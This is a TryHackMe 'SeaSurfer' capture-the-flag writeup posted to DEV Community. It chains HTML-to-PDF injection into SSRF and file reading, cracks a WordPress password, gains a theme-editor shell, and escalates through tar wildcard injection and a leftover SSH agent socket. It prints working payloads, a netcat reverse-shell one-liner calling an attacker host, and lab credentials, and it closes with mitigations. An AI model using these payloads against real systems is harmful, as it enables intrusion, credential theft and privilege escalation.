DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe - SeaSurfer writeup

Executive Summary

The engagement began with a single disclosed virtual host name leaking out of an HTTP response header on the target web server. That one leak unraveled the entire box: it led to a WordPress site, an internal-only receipt-generation application, and an exposed database admin panel. The receipt app turned out to echo every form field straight into HTML that was then rendered server-side into a PDF, with no output encoding at all. That reflected injection was first used to confirm a Server-Side Request Forgery (SSRF - outbound HTTP to attacker infrastructure), and then upgraded to a Local File Inclusion (LFI) that read /etc/passwd and, critically, WordPress's wp-config.php. The leaked database credentials unlocked the previously-found Adminer panel, which exposed the WordPress users table, including a crackable password hash. The cracked password was valid for the WordPress admin panel, where the built-in Theme File Editor was used to drop a PHP payload and obtain a reverse shell as www-data. From there, a poorly-written backup cron job running tar with a wildcard in a web-writable directory was abused for classic tar wildcard code execution, escalating to the kyle user. Finally, a stray SSH agent socket left behind by another session, combined with a pam_ssh_agent_auth sudo configuration, allowed kyle to authenticate sudo using an agent-held key that was never supposed to be reachable, yielding a full root shell.


1. Reconnaissance

1.1 Port Scan

rustscan -a machine-ip --ulimit 5000
nmap -sCV machine-ip -p 22,80 -oN sea-surfer-nmap
Enter fullscreen mode Exit fullscreen mode
Port Service Version
22 ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80 http Apache httpd 2.4.41 (Ubuntu)

1.2 VHost Disclosure via Response Header

curl to the bare IP returned the stock Apache default page, but a verbose request leaked the real backend vhost name in a custom header:

curl -iv http://machine-ip/
...
< X-Backend-Server: seasurfer.thm
Enter fullscreen mode Exit fullscreen mode

Added to /etc/hosts: machine-ip seasurfer.thm.


2. Main Site Enumeration - seasurfer.thm

Browsing the vhost revealed a WordPress 5.9.3 site ("Sea Surfer - Ride the Wave!") using the twentyseventeen theme and the team-members plugin. The "About" page's staff directory (Maya Martins - Owner, Brandon Baker - Salesman, Kyle King - Sysadmin, described as "a very proficient PHP coder") provided candidate usernames later confirmed to matter - kyle turned out to be the actual low-privilege system/WordPress account.

An ffuf directory/vhost sweep against seasurfer.thm turned up an exposed Adminer 4.8.1 database-management panel:

http://seasurfer.thm/adminer/?username=&db=wp-users
Enter fullscreen mode Exit fullscreen mode

At this point it couldn't be used - no valid credentials were known yet, and blank credentials returned Access denied for user '@localhost' (using password: NO). This panel was bookmarked for later.

A separate ffuf VHost-header fuzz identified a second virtual host not linked anywhere on the public site:

ffuf -u http://seasurfer.thm/ -H "HOST: FUZZ.seasurfer.thm" \
     -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
...
internal   [Status: 200, Size: 3072, Words: 225, Lines: 109, Duration: 212ms]
Enter fullscreen mode Exit fullscreen mode

Added to /etc/hosts: machine-ip internal.seasurfer.thm.


3. internal.seasurfer.thm - Receipt Generator

The internal-only app is a simple "create a receipt" form (index.php) that posts to output.php, which renders invoice.php into a PDF saved under /invoices/<id>.pdf.

3.1 Root Cause - No Output Encoding

A shell obtained later in the engagement confirmed the source directly:

// invoice.php (excerpt)
Receipt ID: <?php echo $_GET['id']?>
Customer name: <?php echo $_GET['name']?>
Additional information: <?php echo $_GET['comment']?>
Payment: <?php echo $_GET['payment']?>
foreach ($_GET as $key => $value) {
    if (strpos($key, 'item') === 0)  echo "<tr class='item'><td>$value</td>";
    if (strpos($key, 'price') === 0) echo "<td>\$$value</td></tr>";
}
Enter fullscreen mode Exit fullscreen mode

Every single query parameter is echoed directly into the HTML with zero sanitization or escaping, and that HTML is then rendered server-side into a PDF. This is the single root cause behind the injection, SSRF, and LFI findings below.

3.2 Confirming HTML Injection

Submitting <b>test<b/test> as the comment rendered as bold text in the generated PDF - confirming the field is interpreted as raw HTML by the PDF rendering engine, not displayed as plain text.

3.3 SSRF - Outbound Callback

HTML-to-PDF converters (wkhtmltopdf and similar) fetch any external resource referenced in rendered HTML - from the server, not the client.

Payload (submitted as the comment):

<html> <iframe src="http://attacker-ip/"></iframe> </html>
Enter fullscreen mode Exit fullscreen mode

Listener on the attacker host:

python3 -m http.server 80
Enter fullscreen mode Exit fullscreen mode

Result - the attacker's listener received a callback from the target:

machine-ip - - [06/Oct/2026 17:30:54] "GET / HTTP/1.1" 200 -
Enter fullscreen mode Exit fullscreen mode

SSRF confirmed: the PDF renderer, running server-side, follows attacker-controlled URLs.

3.4 LFI - Reading Local Files

Several file:// payload shapes were tried without success first:

<html> <iframe src="file://etc/passwd"></iframe> </html>
<object data="file:///etc/passwd" type="text/plain"></object>
<img src="file:///etc/passwd">
<style>body { background-image: url('file:///etc/passwd'); }</style>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///etc/passwd", false);
xhr.send(null);
document.write(xhr.responseText);
</script>
Enter fullscreen mode Exit fullscreen mode

None of the direct file:// payloads above actually worked, no matter the tag or the exact slash count - the renderer simply would not resolve a file:// URI placed straight into the injected HTML. The technique that actually worked was indirect: hosting a small PHP redirector on the attacker machine and pointing the injected <iframe> at that, letting the PDF renderer follow a same-origin-looking HTTP response that then 302-redirects it to a file:// URI itself.

// redirect.php (hosted on the attacker machine)
<?php
header("Location: file:///etc/passwd");
?>
Enter fullscreen mode Exit fullscreen mode
php -S 0.0.0.0:80
Enter fullscreen mode Exit fullscreen mode

Injection payload (submitted as the comment field):

<iframe src="http://attacker-ip/redirect.php" style="width:1000px;height:5000px;border:none;"></iframe>
Enter fullscreen mode Exit fullscreen mode

The target's PDF renderer requested redirect.php over plain HTTP (confirmed server-side in the PHP dev server log: GET /redirect.php -> 302), and - unlike a file:// URI written directly into the HTML - followed that redirect itself, landing on file:///etc/passwd and rendering its full contents inline in the resulting PDF (confirming users kyle, mysql, ubuntu, www-data, etc. on the box).

Pivoting the LFI to a higher-value target - the same redirector technique, with the Location header changed to point at WordPress's config file:

// redirect.php
<?php
header("Location: file:///var/www/wordpress/wp-config.php");
?>
Enter fullscreen mode Exit fullscreen mode

Re-requesting the same <iframe src="http://attacker-ip/redirect.php"> payload against the updated redirector disclosed the full wp-config.php, including:

define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wordpressuser' );
define( 'DB_PASSWORD', 'coolDataTablesMan' );
define( 'DB_HOST', 'localhost' );
// plus AUTH_KEY / SECURE_AUTH_KEY / LOGGED_IN_KEY / NONCE_KEY / *_SALT values
Enter fullscreen mode Exit fullscreen mode

4. From Leaked DB Credentials to a WordPress Account

4.1 Adminer Login

The wordpressuser / coolDataTablesMan credentials pulled straight out of wp-config.php were used against the Adminer panel discovered earlier:

http://seasurfer.thm/adminer/?username=wordpressuser&db=wordpress
Enter fullscreen mode Exit fullscreen mode

Login succeeded, exposing the full wordpress database (12 tables: wp_users, wp_options, wp_posts, etc.).

4.2 Dumping wp_users

SELECT * FROM wp_users LIMIT 50;
Enter fullscreen mode Exit fullscreen mode

Returned a single account:

ID user_login user_pass user_email
1 kyle $P$BuCryp52DAdCRIcLrT9vrFNb0vPcyi/ kyle@seasurfer.thm

4.3 Cracking the Hash

john --wordlist=/usr/share/wordlists/rockyou.txt kyle-hash
...
jenny4ever       (?)
1g 0:00:00:08 DONE
Enter fullscreen mode Exit fullscreen mode

The phpass hash cracked almost instantly against rockyou.txt - the password jenny4ever is a weak, dictionary-adjacent value with no complexity.

4.4 WordPress Admin Login

kyle / jenny4ever authenticated successfully at http://seasurfer.thm/wp-login.php, landing on a full WordPress Dashboard (confirmed as an administrator - the account has a custom "Teams" menu item from the team-members plugin and full wp-admin access).


5. Authenticated RCE via WordPress Theme Editor

With admin access to wp-admin, the built-in Theme File Editor (Appearance -> Theme File Editor) was used to edit the active theme's 404.php template, injecting a PHP web shell / reverse-shell payload, then clicking Update File. WordPress writes the edited PHP directly to disk with no code-execution restriction for admin users.

Visiting any non-existent path on the site (e.g. http://seasurfer.thm/<random-path>) triggers Apache/WordPress's 404 handling, which executes the now-malicious 404.php.

A listener was started first:

penelope listen -p 4444
Enter fullscreen mode Exit fullscreen mode

Then the crafted URL was requested, and the listener caught a shell:

[+] [New Reverse Shell] => ip-machine-ip machine-ip Linux-x86_64  Session ID <1>
www-data@ip-machine-ip:/$ whoami
www-data
www-data@ip-machine-ip:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

Code execution as www-data obtained.


6. Privilege Escalation: www-data -> kyle (Tar Wildcard Injection)

Exploring the webroot as www-data surfaced a maintenance script:

www-data@ip-machine-ip:/var/www/internal/maintenance$ cat backup.sh
#!/bin/bash
# Brandon complained about losing _one_ receipt when we had 5 minutes of downtime,
# set this to run every minute now >:D
cd /var/www/internal/invoices
tar -zcf /home/kyle/backups/invoices.tgz *
Enter fullscreen mode Exit fullscreen mode

This script is scheduled to run every minute (by kyle's crontab, inferred from the output path /home/kyle/backups/), and it runs tar with a bare * glob inside /var/www/internal/invoices - a directory the web application (and therefore www-data) can write to, since generated receipts land there. This is the textbook setup for the classic tar wildcard injection technique: filenames in the target directory that look like tar command-line flags get expanded by the shell glob and interpreted by tar as options.

Exploit:

echo 'mkfifo /tmp/lhennp; nc attacker-ip 5555 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp' > shell.sh
chmod +x shell.sh

echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
Enter fullscreen mode Exit fullscreen mode

When the cron-triggered tar -zcf ... * next ran (within one minute), the glob expanded to include the two specially-named files, tar interpreted them as --checkpoint=1 --checkpoint-action=exec=sh shell.sh, and executed shell.sh as the user owning the cron job (kyle).

penelope listen -p 5555
...
[+] [New Reverse Shell] => ip-machine-ip machine-ip Linux-x86_64  Session ID <1>
kyle@ip-machine-ip:/var/www/internal/invoices$ whoami
kyle
kyle@ip-machine-ip:/var/www/internal/invoices$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev)
Enter fullscreen mode Exit fullscreen mode

Shell upgraded to kyle (notably in the sudo group, but not yet usable - see Section 7).

User Flag

kyle@ip-machine-ip:~$ cat user.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

A personal SSH key was then added to kyle's ~/.ssh/authorized_keys for stable, persistent access, and subsequent interaction was done over a normal SSH session:

ssh -i ~/.ssh/id_ed25519 kyle@seasurfer.thm
Enter fullscreen mode Exit fullscreen mode

7. Privilege Escalation: kyle -> root (Leftover SSH Agent + pam_ssh_agent_auth)

7.1 Dead Ends

A standard SUID sweep found nothing unusual:

kyle@ip-machine-ip:~$ find / -perm -4000 2>/dev/null
# only standard system SUID binaries (mount, passwd, sudo, su, pkexec, etc.)
Enter fullscreen mode Exit fullscreen mode

7.2 Unusual sudo Configuration

kyle is in the sudo group, but sudo -l initially requires authentication that plain password/console login doesn't satisfy. Inspecting the PAM stack explained why:

kyle@ip-machine-ip:~$ cat /etc/pam.d/sudo
#%PAM-1.0
auth sufficient pam_ssh_agent_auth.so file=/etc/ssh/sudo_authorized_keys
session    required   pam_env.so readenv=1 user_readenv=0
session    required   pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
@include common-auth
@include common-account
@include common-session-noninteractive
Enter fullscreen mode Exit fullscreen mode

sudo on this host is configured to authenticate via pam_ssh_agent_auth: if the invoking process has SSH_AUTH_SOCK pointed at an agent holding a private key listed in /etc/ssh/sudo_authorized_keys, sudo succeeds with no password at all.

7.3 Finding a Usable Agent Socket

A process listing revealed another session had left an SSH agent running and forwarded:

kyle@ip-machine-ip:~$ ps aux
...
kyle    1059  0.0  0.3  13920  3256 ?        S  bash -c "sudo /root/admincheck; sleep infinity"
...
Enter fullscreen mode Exit fullscreen mode

And a corresponding agent socket with loose permissions:

kyle@ip-machine-ip:~$ ls -lpah /tmp/ssh-I2y4KwPuPD/agent.1145
srwxrwxr-x 1 kyle kyle 0 ... /tmp/ssh-I2y4KwPuPD/agent.1145
Enter fullscreen mode Exit fullscreen mode

The socket is owned by kyle and group/other-writable (srwxrwxr-x), i.e. fully usable by the kyle shell already obtained. Pointing the current shell's SSH_AUTH_SOCK at it exposed a loaded key:

kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ export SSH_AUTH_SOCK=/tmp/ssh-rOWRscow8o/agent.1138
kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ ssh-add -l
3072 SHA256:boZASmxRncp8AM+gt1toNuZr9jh1dyatwf9DPZYit88 kyle@seasurfer (RSA)
Enter fullscreen mode Exit fullscreen mode

7.4 Escalating

With that agent socket active, sudo - authenticated via pam_ssh_agent_auth against /etc/ssh/sudo_authorized_keys - succeeded outright:

kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ sudo -l
Matching Defaults entries for kyle on seasurfer:
    env_keep+=SSH_AUTH_SOCK, env_reset, timestamp_timeout=420, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User kyle may run the following commands on seasurfer:
    (ALL : ALL) ALL

kyle@ip-machine-ip:/tmp/ssh-rOWRscow8o$ sudo su
root@seasurfer:/tmp/ssh-rOWRscow8o# cd /root
root@seasurfer:~# ls
admincheck  credits.txt  hidePID.sh  root.txt  snap  SSHtoserver.sh
Enter fullscreen mode Exit fullscreen mode

Full root access obtained.

Root Flag

root@seasurfer:~# cat root.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 Internal hostname disclosure via custom response header X-Backend-Server header, port 80 Revealed the real site name, enabling further vhost enumeration
2 Unauthenticated internal-only application reachable from outside internal.seasurfer.thm Exposed a tool never meant to face the internet
3 Reflected server-side HTML injection (no output encoding) invoice.php - every $_GET key echoed raw Root cause enabling #4 and #5
4 SSRF via HTML-to-PDF rendering Receipt generator comment field Server made outbound requests to attacker infrastructure
5 Local File Inclusion, reached by chaining the SSRF through an attacker-hosted HTTP redirect to file:// Receipt generator comment field Disclosed /etc/passwd and wp-config.php (DB creds + WP secret keys)
6 Exposed Adminer instance, reachable with leaked DB credentials seasurfer.thm/adminer/ Full read/write access to the WordPress database
7 Weak/crackable user password kyle's WordPress phpass hash Cracked in seconds with rockyou.txt
8 Authenticated RCE via WordPress Theme File Editor wp-admin -> Appearance -> Theme File Editor Direct PHP code execution as the web server user
9 Unsafe tar wildcard usage in a privileged cron job, over a web-writable directory /var/www/internal/maintenance/backup.sh (runs every minute) Local privilege escalation from www-data to kyle
10 World/group-accessible leftover SSH agent socket + permissive pam_ssh_agent_auth sudo rule /tmp/ssh-*/agent.*, /etc/pam.d/sudo, /etc/ssh/sudo_authorized_keys Local privilege escalation from kyle to root

Attack Chain Summary

X-Backend-Server header leak
        |
        v
seasurfer.thm discovered (WordPress) --> ffuf finds /adminer/ (no creds yet)
        |
        v
ffuf vhost fuzz discovers internal.seasurfer.thm
        |
        v
Receipt generator (invoice.php) - unsanitized $_GET echoed into rendered HTML
        |
        +--> HTML injection confirmed (<b> test)
        +--> SSRF confirmed (iframe -> attacker http.server callback)
        +--> LFI via SSRF chained through an attacker-hosted PHP redirector (direct file:// payloads failed)
                 |
                 +--> /etc/passwd read
                 +--> wp-config.php read -> DB_USER / DB_PASSWORD leaked
                          |
                          v
                 Adminer login succeeds (wordpressuser / coolDataTablesMan)
                          |
                          v
                 wp_users dumped -> kyle's phpass hash
                          |
                          v
                 john + rockyou.txt -> password "jenny4ever"
                          |
                          v
                 WordPress admin login as kyle
                          |
                          v
                 Theme File Editor -> malicious 404.php -> RCE
                          |
                          v
                 Reverse shell as www-data
                          |
                          v
                 tar wildcard injection in cron backup.sh (web-writable dir)
                          |
                          v
                 Reverse shell as kyle (user.txt)
                          |
                          v
                 Leftover world-usable SSH agent socket + pam_ssh_agent_auth sudo rule
                          |
                          v
                 sudo su -> root (root.txt)
Enter fullscreen mode Exit fullscreen mode

Mitigations

Finding Recommended Fix
Vhost name leaked via X-Backend-Server Remove/strip custom debug headers from production responses; never expose internal hostnames to clients.
Internal app reachable externally Internal-only vhosts should be bound to an internal network interface or protected by network ACLs / a VPN, not merely "unlinked." Security by obscurity (an unlisted vhost) is not a control.
Unsanitized $_GET reflected into rendered HTML Always HTML-encode user input before interpolating it into any template (htmlspecialchars() at minimum); better, use a templating engine with auto-escaping by default.
SSRF in HTML-to-PDF rendering Disable remote resource loading in the PDF engine (e.g. --disable-local-file-access and restrict/deny outbound network access for the rendering process); render from a sanitized DOM/allow-list of tags rather than raw user HTML; run the renderer in an isolated/sandboxed, network-restricted container.
LFI via file:// Same as above - disable local file access in the renderer, and additionally sandbox the rendering process's filesystem view (chroot/container) so even a successful file-scheme request can't reach sensitive paths like wp-config.php.
Secrets in wp-config.php reachable by the web server process Store DB credentials and secret keys outside the webroot or in environment variables / a secrets manager, and ensure the PDF renderer cannot reach arbitrary paths on disk in the first place.
Adminer exposed on the production vhost Do not deploy Adminer (or any DB admin tool) on a public-facing, production host; if needed, bind it to localhost and tunnel/VPN, add IP allow-listing, and require strong, unique credentials and MFA where supported.
Weak, crackable password (jenny4ever) Enforce a strong password policy / minimum entropy for all accounts, especially privileged WordPress and system accounts; consider MFA on wp-admin.
Theme File Editor enabled for admin accounts Disable the Theme/Plugin File Editor (define('DISALLOW_FILE_EDIT', true); in wp-config.php); restrict wp-admin to trusted IPs; apply least privilege to WordPress accounts.
tar wildcard expansion over a web-writable directory, run by cron Never glob (*) over attacker-influenceable directories; use tar -- with explicit file lists, or `find ... -print0 \
Leftover/forwarded SSH agent socket left world/group accessible Never leave forwarded agent sockets reachable by other local users; use {% raw %}ssh -o ForwardAgent=no by default and only forward deliberately and briefly; tighten socket permissions; avoid long-lived background processes (sleep infinity) that hold onto sensitive file descriptors/sockets.
pam_ssh_agent_auth trusting any reachable agent-held key for sudo Scope /etc/ssh/sudo_authorized_keys tightly and audit it regularly; prefer standard password or hardware-token-based sudo authentication unless the operational need for agent-based sudo is well understood and the agent exposure is tightly controlled; monitor for anomalous sudo sessions authenticated this way.

References


Flags have been redacted in this report per request. machine-ip refers to the lab target and attacker-ip refers to the attacker host; neither is publicly routable.

Top comments (0)